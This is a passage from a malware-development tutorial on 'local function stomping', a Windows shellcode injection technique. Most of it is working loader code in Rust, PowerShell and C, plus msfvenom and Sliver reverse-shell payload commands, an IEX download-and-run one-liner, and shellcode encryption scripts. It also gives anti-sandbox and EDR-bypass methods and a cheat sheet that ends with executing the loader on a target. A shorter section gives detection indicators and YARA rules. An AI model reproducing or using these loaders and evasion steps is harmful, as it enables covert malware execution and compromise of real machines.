        println!("[+] IECreateFile at: {:p}", func_addr);

        // ── Step 3: Change to RW ──────────────────────────────────────────────
        let mut old_protect = PAGE_PROTECTION_FLAGS(0);
        if VirtualProtect(
            func_addr as *mut _,
            SHELLCODE.len(),
            PAGE_READWRITE,
            &mut old_protect,
        ).is_err() {
            eprintln!("[-] VirtualProtect (RW) failed");
            let _ = FreeLibrary(h_module);
            return;
        }

        // ── Step 4: Stomp — write shellcode ──────────────────────────────────
        ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), func_addr, SHELLCODE.len());
        println!("[+] Shellcode stomped into function ({} bytes)", SHELLCODE.len());

        // ── Step 5: Change to RX ──────────────────────────────────────────────
        VirtualProtect(
            func_addr as *mut _,
            SHELLCODE.len(),
            PAGE_EXECUTE_READ,
            &mut old_protect,
        ).expect("VirtualProtect (RX) failed");

        // ── Step 6: Execute ────────────────────────────────────────────────────
        // Transmute function pointer and create thread
        let thread_fn: unsafe extern "system" fn(*mut std::ffi::c_void) -> u32 =
            std::mem::transmute(func_addr);

        let h_thread = CreateThread(
            None,
            0,
            Some(thread_fn),
            None,
            windows::Win32::System::Threading::THREAD_CREATION_FLAGS(0),
            None,
        ).expect("CreateThread failed");

        println!("[+] Thread created, waiting...");
        WaitForSingleObject(h_thread, INFINITE);
        let _ = CloseHandle(h_thread);
        let _ = FreeLibrary(h_module);
    }

    println!("[+] Done.");
}

Build and run:

# Initialize project
cargo new local_func_stomp
cd local_func_stomp

# Add to Cargo.toml (dependencies section)
# windows = { version = "0.52", features = [...] }

# Build release (optimized, smaller binary)
cargo build --release --target x86_64-pc-windows-gnu

# Or cross-compile from Linux
cargo build --release --target x86_64-pc-windows-msvc

11. PowerShell Implementation

<#
 .SYNOPSIS
   Local Function Stomping in PowerShell
   Loads ieframe.dll, stomps IECreateFile, executes shellcode

 .NOTES
   Run: powershell -ep bypass -File local_stomp.ps1
   Or:  IEX (New-Object Net.WebClient).DownloadString('http://attacker/stomp.ps1')
#>

# ─── Win32 API imports ────────────────────────────────────────────────────────
$win32_code = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr LoadLibraryA(string lpLibFileName);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize,
        uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttr, uint dwStackSize,
        IntPtr lpStartAddr, IntPtr lpParam, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

    [DllImport("kernel32.dll", SetLastError=true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    public static extern bool CloseHandle(IntPtr hObject);
}
"@

Add-Type -TypeDefinition $win32_code

# ─── Shellcode (Base64-encoded for transport, XOR'd for evasion) ─────────────
# Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f ps1
# Paste the byte array here (or decode from Base64 at runtime)
$xor_key    = 0x41
$b64_payload = "AAAAAAA..." # Base64-encoded, XOR'd shellcode

# Decode Base64 → XOR decode → raw shellcode bytes
$xored_bytes = [System.Convert]::FromBase64String($b64_payload)
$shellcode = [byte[]]::new($xored_bytes.Length)
for ($i = 0; $i -lt $xored_bytes.Length; $i++) {
    $shellcode[$i] = $xored_bytes[$i] -bxor $xor_key
}

# ─── Constants ────────────────────────────────────────────────────────────────
$PAGE_READWRITE         = 0x04
$PAGE_EXECUTE_READ      = 0x20
$PAGE_EXECUTE_READWRITE = 0x40

Write-Host "[*] Local Function Stomping - PowerShell"

# Step 1: Load DLL
$hModule = [Win32]::LoadLibraryA("ieframe.dll")
if ($hModule -eq [IntPtr]::Zero) {
    Write-Error "[-] LoadLibraryA failed"
    exit 1
}
Write-Host "[+] ieframe.dll loaded at: $('0x{0:X}' -f $hModule.ToInt64())"

# Step 2: Get function address
$funcAddr = [Win32]::GetProcAddress($hModule, "IECreateFile")
if ($funcAddr -eq [IntPtr]::Zero) {
    Write-Error "[-] GetProcAddress failed"
    exit 1
}
Write-Host "[+] IECreateFile at: $('0x{0:X}' -f $funcAddr.ToInt64())"

# Step 3: Change protection to RW
$oldProtect = [uint32]0
$vpResult = [Win32]::VirtualProtect($funcAddr, [uint32]$shellcode.Length,
                                     [uint32]$PAGE_READWRITE,
                                     [ref]$oldProtect)
if (!$vpResult) {
    Write-Error "[-] VirtualProtect (RW) failed"
    exit 1
}

# Step 4: Copy shellcode into function memory
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $funcAddr, $shellcode.Length)
Write-Host "[+] Shellcode stomped ($($shellcode.Length) bytes)"

# Step 5: Change to PAGE_EXECUTE_READ
[Win32]::VirtualProtect($funcAddr, [uint32]$shellcode.Length,
                          [uint32]$PAGE_EXECUTE_READ,
                          [ref]$oldProtect) | Out-Null

# Step 6: Execute
$threadId = [uint32]0
$hThread = [Win32]::CreateThread([IntPtr]::Zero, [uint32]0, $funcAddr,
                                   [IntPtr]::Zero, [uint32]0, [ref]$threadId)
if ($hThread -eq [IntPtr]::Zero) {
    Write-Error "[-] CreateThread failed"
    exit 1
}

Write-Host "[+] Thread created (ID: $threadId), waiting..."
[Win32]::WaitForSingleObject($hThread, [uint32]0xFFFFFFFF) | Out-Null
[Win32]::CloseHandle($hThread) | Out-Null
Write-Host "[+] Execution complete."

12. Generating the Shellcode Payload

12.1 msfvenom — Standard Reverse Shell

# ─── x64 Meterpreter reverse TCP ──────────────────────────────────────────────
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 \
    LPORT=4444 \
    -f raw -o shellcode.bin

# Verify size (must fit inside target function)
wc -c shellcode.bin

# Convert to C byte array for embedding
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f c -o shellcode.c

# HTTPS payload (better opsec)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=attacker.com LPORT=443 \
    -f raw -o shellcode_https.bin

# Stageless (no callback for stage 2)
msfvenom -p windows/x64/meterpreter_reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o stageless.bin

12.2 Custom C2 Shellcode (Havoc, Sliver, Cobalt Strike)

# ─── Havoc C2 ─────────────────────────────────────────────────────────────────
# In Havoc UI: Payload → Shellcode → x64 → HTTPS → Generate
# Or via profile: Listener creates shellcode automatically

# ─── Sliver C2 ────────────────────────────────────────────────────────────────
# Start Sliver server (already familiar from your notes!)
sliver-server

# Generate shellcode (not an exe, just raw shellcode)
sliver > generate --mtls --lhost attacker.com --lport 8888 \
    --format shellcode --os windows --arch amd64 --save /tmp/

# ─── Output: shellcode file (raw bytes, embed directly into stomper)

# ─── Cobalt Strike ────────────────────────────────────────────────────────────
# Attacks → Packages → Payload Generator → Raw Shellcode
# Copy bytes into shellcode[] array

12.3 Encrypt Shellcode Before Stomping (Best Practice)

# [OPSEC] Never stomp raw shellcode — encrypt it first
# Decrypt at runtime inside the stomper just before memcpy

# XOR encrypt shellcode.bin → xored.bin
python3 -c "
d=open('shellcode.bin','rb').read()
k=0x41
open('xored.bin','wb').write(bytes([b^k for b in d]))
print(f'Key: 0x{k:02x} | Size: {len(d)} bytes')
"

# AES-256 encrypt → encrypted payload
python3 -c "
from Crypto.Cipher import AES; from Crypto.Util.Padding import pad; import os
k=os.urandom(32); iv=os.urandom(16)
d=open('shellcode.bin','rb').read()
enc=AES.new(k,AES.MODE_CBC,iv).encrypt(pad(d,16))
open('payload.enc','wb').write(iv+enc)
print(f'Key: {k.hex()}')
print(f'IV:  {iv.hex()}')
print(f'Size: {len(enc)} bytes')
"

13. Compiling and Testing

13.1 MinGW Cross-Compile (Linux → Windows .exe)

# Install MinGW cross-compiler (Kali/Debian)
sudo apt install mingw-w64 -y

# Compile the stomper (basic)
x86_64-w64-mingw32-gcc -O2 local_func_stomp.c -o stomp.exe \
    -s \                          # Strip symbols
    -ffunction-sections \         # Remove dead code
    -fdata-sections \
    -fno-exceptions \
    -fmerge-all-constants \
    -static-libstdc++ \
    -static-libgcc               # Static link (no MSVCRT dependency)

# Strip debug info (smaller, less info for reversers)
x86_64-w64-mingw32-strip stomp.exe

# With bcrypt for AES decryption
x86_64-w64-mingw32-gcc -O2 stomp_aes.c -o stomp_aes.exe \
    -lbcrypt -s -ffunction-sections -fdata-sections \
    -static-libgcc -static-libstdc++

13.2 MSVC Compile (Windows)

REM Open Developer Command Prompt for VS
REM Compile with MSVC
cl.exe /O2 /GS- local_func_stomp.c /Fe:stomp.exe

REM With optimization flags
cl.exe /O2 /GS- /EHsc local_func_stomp.c /Fe:stomp.exe /link /SUBSYSTEM:CONSOLE

REM No console window (for stealth — avoid the black terminal popup)
cl.exe /O2 /GS- local_func_stomp.c /Fe:stomp.exe /link /SUBSYSTEM:WINDOWS

13.3 Testing with x64dbg

Attach x64dbg to stomper.exe to observe:

1. Set BP on LoadLibraryA → watch ieframe.dll load
2. Set BP on GetProcAddress → get function address
3. Set BP on VirtualProtect → watch protection change
4. Set BP at [funcAddr] → observe shellcode bytes after memcpy
5. Step through CreateThread → confirm execution begins at function addr

x64dbg commands:
  bp LoadLibraryA          ; break on library load
  bp VirtualProtect        ; break on protection change
  bp CreateThread          ; break on thread creation
  run                      ; F9
  p                        ; F8 (step over)
  t                        ; F7 (step into)

13.4 Detection Test (ThreatCheck / DefenderCheck)

# [TOOL] ThreatCheck — find which bytes trigger AV
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f stomp.exe -e Defender

# DefenderCheck
DefenderCheck.exe stomp.exe

# Test offline with Defender
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File stomp.exe

# Online sandbox (careful — shares payload with AV vendors)
# https://app.any.run
# https://hybrid-analysis.com

14. OPSEC Improvements

14.1 Problem — VirtualProtect on Mapped Memory is Monitored

[DETECT] EDR watches for:
  VirtualProtect(
      addr inside mapped DLL section,  ← suspicious: changing DLL memory
      any_size,
      PAGE_READWRITE,                   ← demoting executable DLL code
      ...
  )

  Followed by:
  VirtualProtect(
      same addr,
      PAGE_EXECUTE_*,                   ← re-promoting to executable
      ...
  )

  = Classic "write-then-execute" pattern on a DLL section → ALERT 🚨

14.2 Solution A — WriteProcessMemory Instead of memcpy

// WriteProcessMemory has a hidden feature (discovered by Ivy/Tylous):
// It temporarily changes memory permissions to writable,
// writes the data, then RESTORES permissions automatically
// via an internal NtProtectVirtualMemory call.
// This means you don't need to call VirtualProtect manually!

HANDLE hSelf = GetCurrentProcess();   // -1 pseudo-handle
SIZE_T written = 0;

// WriteProcessMemory will internally:
//   1. NtProtectVirtualMemory(RW)
//   2. Copy bytes
//   3. NtProtectVirtualMemory(restore original)
// Your VirtualProtect calls → GONE

BOOL result = WriteProcessMemory(
    hSelf,          // Target process = self
    addr,           // Target address (function in DLL)
    shellcode,      // Source bytes
    sizeof(shellcode),
    &written        // Bytes written
);

// After this: memory is back to ORIGINAL protection (R+X for .text section)
// But shellcode is written! Execute it:
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);

14.3 Solution B — NtWriteVirtualMemory (Syscall, No Hook)

// Use direct syscall to NtWriteVirtualMemory — bypasses EDR hook on
// WriteProcessMemory, does the same implicit permission toggling

// Get SSN for NtWriteVirtualMemory (similar to §7.2 approach)
WORD ssn_write = get_syscall_number("NtWriteVirtualMemory");

// Invoke via syscall stub — EDR user-mode hook never sees this call
syscall_NtWriteVM(ssn_write, GetCurrentProcess(), addr,
                   shellcode, sizeof(shellcode), NULL);

14.4 Solution C — Delay Execution (Sandbox Evasion)

// Wait for real user interaction before executing
// Sandboxes don't simulate real user input / mouse movement

POINT lastPos = {0, 0};
POINT curPos;
int movements = 0;

while (movements < 5) {             // Wait for 5 mouse movements
    GetCursorPos(&curPos);
    if (curPos.x != lastPos.x || curPos.y != lastPos.y) {
        movements++;
        lastPos = curPos;
    }
    Sleep(200);
}

// Real machine confirmed — proceed with stomping

14.5 Solution D — Choose Low-Frequency DLL + Function

[OPSEC] DLL selection matters:

  ❌ BAD: ntdll.dll, kernel32.dll, kernelbase.dll
    └─ OS calls these constantly — stomped function may be called by OS
    └─ High-frequency monitoring target for EDR

  ❌ BAD: Functions that your own loader code calls
    └─ If you call CreateFile(), don't stomp IECreateFile before calling it

  ✅ GOOD: ieframe.dll, winmm.dll, xpsp2res.dll, shdocvw.dll
    └─ Legacy, deprecated, rarely if ever called in modern processes

  ✅ GOOD: Infrequently-exported functions:
    └─ IECreateFile, PlaySoundA, mciSendCommandA
    └─ Functions that haven't been actively used since Windows XP era

14.6 Complete OPSEC-Hardened Version

/*
 * opsec_stomp.c — Production-grade local function stomping
 * Improvements:
 *   1. WriteProcessMemory instead of VirtualProtect+memcpy (no explicit prot change)
 *   2. Anti-sandbox checks before execution
 *   3. Encrypted shellcode, decrypted in memory
 *   4. No CreateThread — callback-based execution (EnumSystemLocalesA)
 */
#include <windows.h>
#include <stdio.h>

// ─── XOR-encrypted shellcode (decrypt in place before stomping) ──────────────
unsigned char enc_shellcode[] = { /* XOR'd bytes here */ };
const unsigned char XOR_KEY   = 0x41;
const unsigned int  SC_LEN    = sizeof(enc_shellcode);

// ─── Anti-sandbox: check for real user activity ──────────────────────────────
BOOL is_real_machine() {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 4) return FALSE;   // Few cores = VM/sandbox

    MEMORYSTATUSEX ms = { sizeof(ms) };
    GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) return FALSE;  // < 4GB

    DWORD tick = GetTickCount();
    Sleep(500);
    if ((GetTickCount() - tick) < 400) return FALSE; // Accelerated time

    return TRUE;
}

int main() {
    if (!is_real_machine()) {
        // Look benign in sandbox — print fake error and exit
        MessageBoxA(NULL, "Runtime error: application failed to initialize.",
                    "Error", MB_OK | MB_ICONERROR);
        return 0;
    }

    // Decrypt shellcode in-place (XOR decode)
    unsigned char shellcode[SC_LEN];
    for (unsigned int i = 0; i < SC_LEN; i++)
        shellcode[i] = enc_shellcode[i] ^ XOR_KEY;

    // Load sacrificial DLL
    HMODULE h = LoadLibraryA("ieframe.dll");
    if (!h) return 1;

    PVOID addr = (PVOID)GetProcAddress(h, "IECreateFile");
    if (!addr) return 1;

    // Use WriteProcessMemory — no explicit VirtualProtect call needed
    SIZE_T written = 0;
    if (!WriteProcessMemory(GetCurrentProcess(), addr, shellcode, SC_LEN, &written))
        return 1;

    // Execute via callback (no CreateThread)
    EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, LCID_INSTALLED);

    return 0;
}

15. Detection & Blue Team Perspective

15.1 IOCs (Indicators of Compromise)

Static IOCs:
  ├─ Binary imports: LoadLibraryA + GetProcAddress + VirtualProtect + CreateThread
  ├─ String literals: "ieframe.dll", "IECreateFile" (or similar unusual DLL/function)
  ├─ Encrypted shellcode blob (high entropy section)
  └─ PE section entropy > 7.5 (encrypted payload)

Behavioral IOCs:
  ├─ VirtualProtect called on memory inside a mapped DLL (.text section)
  ├─ Memory protection: R+X → R+W → R+X or RWX on a DLL region
  ├─ New thread starting at address inside an obscure/legacy DLL
  ├─ ieframe.dll loaded in a process that normally has no reason to use IE
  ├─ Thread start address inside ieframe.dll!.text
  └─ Content mismatch: DLL .text section memory ≠ DLL bytes on disk

Memory Forensics IOCs:
  ├─ PE-sieve: export function content doesn't match on-disk DLL
  ├─ hollows-hunter: detects stomped section in loaded module (updated 2022+)
  ├─ Volatiility malfind: finds executable regions with shellcode bytes
  └─ Process Hacker / SystemInformer: thread stack shows ieframe.dll origin

15.2 ETW Detection (Event Tracing for Windows)

Key ETW events to monitor:

1. Microsoft-Windows-Threat-Intelligence (kernel ETW):
   THREATINT_PROTECTVM_LOCAL (EventID: varies)
   └─ Fires when VirtualProtect changes mapped memory permissions
   └─ CRITICAL: This catches the R+X → R+W transition on DLL sections

2. Microsoft-Windows-Kernel-Process:
   Thread creation events → check start address module association

3. Sysmon (Event ID 8 — CreateRemoteThread):
   Not applicable for local thread, but thread-related events still fire

4. Sysmon Event ID 10 — Process Access:
   Not applicable (local process, no cross-process access)

EDR Triggers:
  CrowdStrike: VirtualProtect on image-backed memory → flagged
  SentinelOne: Thread from DLL .text with mismatched content → alert
  Microsoft Defender for Endpoint: Script-block logging + ETW

15.3 Memory Forensics Tools

# [TOOL] PE-sieve — scan running processes for modified modules
# https://github.com/hasherezade/pe-sieve

pe-sieve.exe /pid 1234 /report report.json
# Detects: modified sections, stomped functions, hollowing

# [TOOL] hollows-hunter — scan all processes
# https://github.com/hasherezade/hollows_hunter
hollows_hunter.exe /sieve_shellcode
# Note: Updated to detect function stomping after 2022

# [TOOL] Volatility — memory forensics
vol.py -f memory.dmp malfind            # Find injected code
vol.py -f memory.dmp dlllist            # List loaded DLLs per process
vol.py -f memory.dmp vadinfo            # VAD tree (check for RWX regions)
vol.py -f memory.dmp memmap --pid 1234  # Memory map of specific process

# [TOOL] Process Hacker / System Informer
# Right-click process → Properties → Memory → Filter: Execute+Write
# Shows all RWX memory regions (should be minimal in legit processes)

16. YARA Rule for Detection

/*
 * functionstomping.yara
 * Detect local function stomping patterns
 * Source: Idov31/FunctionStomping repo
 * https://github.com/Idov31/FunctionStomping/blob/master/functionstomping.yara
 */

import "pe"

rule FunctionStomping_Generic {
    meta:
        author      = "izanaghi / adapted from Idov31"
        description = "Detects local function stomping injection pattern"
        date        = "2024"
        reference   = "https://github.com/Idov31/FunctionStomping"
        mitre       = "T1055"

    strings:
        // API strings indicative of function stomping
        $s1 = "LoadLibraryA"      ascii wide
        $s2 = "GetProcAddress"    ascii wide
        $s3 = "VirtualProtect"    ascii wide
        $s4 = "CreateThread"      ascii wide

        // Target DLLs (sacrificial modules)
        $dll1 = "ieframe.dll"     ascii wide nocase
        $dll2 = "winmm.dll"       ascii wide nocase
        $dll3 = "wininet.dll"     ascii wide nocase

        // Target functions (commonly stomped)
        $func1 = "IECreateFile"        ascii
        $func2 = "PlaySoundA"          ascii
        $func3 = "CallMsgFilterA"      ascii
        $func4 = "IEIsProtectedModeProcess" ascii

    condition:
        // All 4 Win32 APIs present AND at least one target DLL/function
        all of ($s1, $s2, $s3, $s4) and
        (any of ($dll*) or any of ($func*))
}

rule FunctionStomping_HighEntropy_Shellcode {
    meta:
        author      = "izanaghi"
        description = "Function stomping with high-entropy (encrypted) shellcode"
        date        = "2024"

    strings:
        $s1 = "LoadLibraryA"   ascii wide
        $s2 = "GetProcAddress" ascii wide
        $s3 = "VirtualProtect" ascii wide

    condition:
        // APIs present + PE has a high-entropy section (encrypted payload)
        all of them and
        pe.sections[0].raw_data_size > 100 and
        math.entropy(0, filesize) > 7.0
}

17. Comparison Matrix (All Injection Techniques)

Technique MITRE New Alloc? Cross-Proc? EDR Noise Stomps DLL? Thread Origin
Classic VirtualAlloc+Thread T1055 Yes (RWX) No 🔴 CRITICAL No Anonymous
DLL Injection T1055.001 Yes Yes 🔴 HIGH No Target proc
Process Hollowing T1055.012 No Yes 🟠 MEDIUM Entire PE Legit proc
APC Injection T1055.004 Yes Yes 🟡 LOW No Target thread
EarlyBird APC T1055.004 Yes Yes 🟢 V.LOW No Before hooks
Module Stomping T1055.001 No Optional 🟢 LOW Full .text Legit DLL
Local Func Stomping T1055 No No 🟢 LOW 1 function Legit DLL
Thread Hijacking T1055.003 Yes Yes 🟡 LOW No Existing thread
Threadless Injection T1055 Optional Yes 🟢 V.LOW No Existing thread
Doppelgänging T1055.013 No Yes 🟢 V.LOW No Legit proc

18. Tools Reference

# ─── Development & Testing ─────────────────────────────────────────────────────

# [TOOL] FunctionStomping (Idov31) — C++ / Rust PoC
# https://github.com/Idov31/FunctionStomping
# NOTE: Archived Oct 2025, read-only. Use as reference.
git clone https://github.com/Idov31/FunctionStomping

# [TOOL] LocalAndRemote Function Stomping (AbdouRoumi)
# https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
git clone https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping

# [TOOL] RustRedOps (joaoviictorti) — Rust implementations
# Includes: Local Function Stomping, Remote Stomping, Module Stomping
# https://github.com/joaoviictorti/RustRedOps
git clone https://github.com/joaoviictorti/RustRedOps

# ─── Syscall helpers ───────────────────────────────────────────────────────────

# [TOOL] SysWhispers3 — Auto-generate syscall stubs (bypass EDR hooks)
# https://github.com/klezVirus/SysWhispers3
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory \
    --out-file syscalls --method jumper

# [TOOL] DInvoke_rs (Kudaes) — Rust port, includes managed_module_stomping()
# https://github.com/Kudaes/DInvoke_rs
# cargo add dinvoke_rs

# ─── Detection testing ─────────────────────────────────────────────────────────

# [TOOL] ThreatCheck — find AV signature trigger bytes
# https://github.com/rasta-mouse/ThreatCheck
ThreatCheck.exe -f stomp.exe -e Defender
ThreatCheck.exe -f stomp.exe -e AMSI

# [TOOL] DefenderCheck — Defender-specific
# https://github.com/matterpreter/DefenderCheck
DefenderCheck.exe stomp.exe

# [TOOL] PE-sieve — scan process for modifications
# https://github.com/hasherezade/pe-sieve
pe-sieve.exe /pid 1234 /sieve_shellcode 1

# [TOOL] hollows-hunter — batch scan all processes
# https://github.com/hasherezade/hollows_hunter
hollows_hunter.exe /sieve_shellcode

# ─── Payload generation ────────────────────────────────────────────────────────

# msfvenom — generate raw shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 \
    -f raw -o shellcode.bin

# Donut — convert PE → shellcode (stomp-ready)
# https://github.com/TheWover/donut
donut -i payload.exe -o shellcode.bin -e 2  # AES-encrypted

19. Cheat Sheet

Quick Workflow

# Step 1: Generate shellcode payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin

# Step 2: (Optional) Encrypt shellcode
python3 -c "
d=open('shellcode.bin','rb').read()
k=0x41
open('xored.bin','wb').write(bytes([b^k for b in d]))
print('XOR key: 0x{:02x} | Size: {} bytes'.format(k, len(d)))
"

# Step 3: Embed shellcode into stomper (paste bytes into C array)
# (or load from file/URL at runtime)

# Step 4: Compile
x86_64-w64-mingw32-gcc -O2 stomp.c -o stomp.exe -s \
    -ffunction-sections -fdata-sections -static-libgcc

# Step 5: Test detection
ThreatCheck.exe -f stomp.exe -e Defender

# Step 6: Start listener
msfconsole -q -x "use exploit/multi/handler; \
    set payload windows/x64/meterpreter/reverse_tcp; \
    set LHOST 10.10.10.10; set LPORT 4444; run"

# Step 7: Execute on target
.\stomp.exe

Key API Call Sequence

LOCAL FUNCTION STOMPING:

LoadLibraryA("ieframe.dll")
    ↓
GetProcAddress(hModule, "IECreateFile")
    ↓
[OPTIONAL] WriteProcessMemory(self, addr, shellcode, size)  ← stealthiest
    OR
VirtualProtect(addr, size, PAGE_READWRITE, &old)
memcpy(addr, shellcode, size)
VirtualProtect(addr, size, PAGE_EXECUTE_READ, &old)
    ↓
CreateThread(addr)                    ← standard
    OR
EnumSystemLocalesA((LOCALE_ENUMPROCA)addr, ...)  ← callback, no CreateThread
    OR
((func_t)addr)()                      ← direct call, no thread

Decision Tree — When to Use Function Stomping

Need to execute shellcode locally?
│
├─ CTF / Lab environment?
│   └─ Classic VirtualAlloc + CreateThread → simple, fast
│
├─ EDR present (CrowdStrike, SentinelOne)?
│   ├─ Signature evasion needed?
│   │   └─ XOR / AES encrypt shellcode → embed in stomper
│   ├─ Behavioral evasion needed?
│   │   └─ Local Function Stomping → avoids RWX alloc
│   ├─ API hook evasion needed?
│   │   └─ Local Func Stomping + syscalls (SysWhispers3)
│   └─ Maximum stealth?
│       └─ Stomping + WriteProcessMemory + callback exec + anti-sandbox
│
├─ Defender only?
│   └─ Basic function stomping (ieframe.dll) → often sufficient
│
└─ Building a C2 (your project!)?
    └─ Implement stomping as one of your injection options
    └─ Let operator choose target DLL/function at runtime
    └─ Combine with shellcode encryption in C2 comms

OPSEC Quick Reference

✅ DO:
  - Choose legacy/rarely-used DLLs (ieframe, winmm)
  - Choose rarely-called functions (IECreateFile, PlaySoundA)
  - Encrypt shellcode before stomping
  - Use WriteProcessMemory instead of VirtualProtect+memcpy
  - Use callback-based execution instead of CreateThread
  - Implement anti-sandbox checks before stomping
  - Use syscalls to bypass EDR hooks (SysWhispers3)
  - Verify function is large enough for your shellcode

❌ DON'T:
  - Stomp ntdll.dll, kernel32.dll, kernelbase.dll exports
  - Stomp functions that are actively called by your process
  - Use raw (unencrypted) msfvenom shellcode — detected by signature
  - Stomp a function smaller than your shellcode — causes crash
  - Use VirtualAlloc + function stomp (defeats the purpose)
  - Hardcode C2 URL in binary without obfuscation

References & Resources

Technique Origins:

  • Idov31 — Original FunctionStomping C++ PoC: https://github.com/Idov31/FunctionStomping
  • Idov31 blog — "The Good, The Bad And The Stomped Function": https://idov31.github.io/2022-01-28-function-stomping/
  • RastaMouse — C# Module/Function Stomping blog: https://offensivedefence.co.uk/posts/module-stomping/
  • cocomelonc — Local Function Stomping tutorial (June 2026): https://cocomelonc.github.io/malware/2026/06/28/malware-tricks-59.html
  • cocomelonc — Remote Function Stomping (July 2026): https://cocomelonc.github.io/malware/2026/07/16/malware-tricks-60.html

Implementations:

  • RustRedOps (Rust): https://github.com/joaoviictorti/RustRedOps
  • Local-And-Remote Function Stomping (C): https://github.com/AbdouRoumi/Local-And-Remote_Function_Stomping
  • goFunctionStomping (Go): https://pkg.go.dev/github.com/3rsh1/goFunctionStomping
  • DInvoke_rs (Rust, with managed_module_stomping): https://github.com/Kudaes/DInvoke_rs

Detection Research:

  • PE-sieve / hollows-hunter (hasherezade): https://github.com/hasherezade/pe-sieve
  • ired.team — Injection techniques overview: https://www.ired.team/offensive-security/code-injection-process-injection
  • MITRE ATT&CK T1055 — Process Injection: https://attack.mitre.org/techniques/T1055/

Syscall Helpers:

  • SysWhispers3: https://github.com/klezVirus/SysWhispers3
  • Hell's Gate / Halo's Gate techniques for SSN resolution

← Malware development top ↑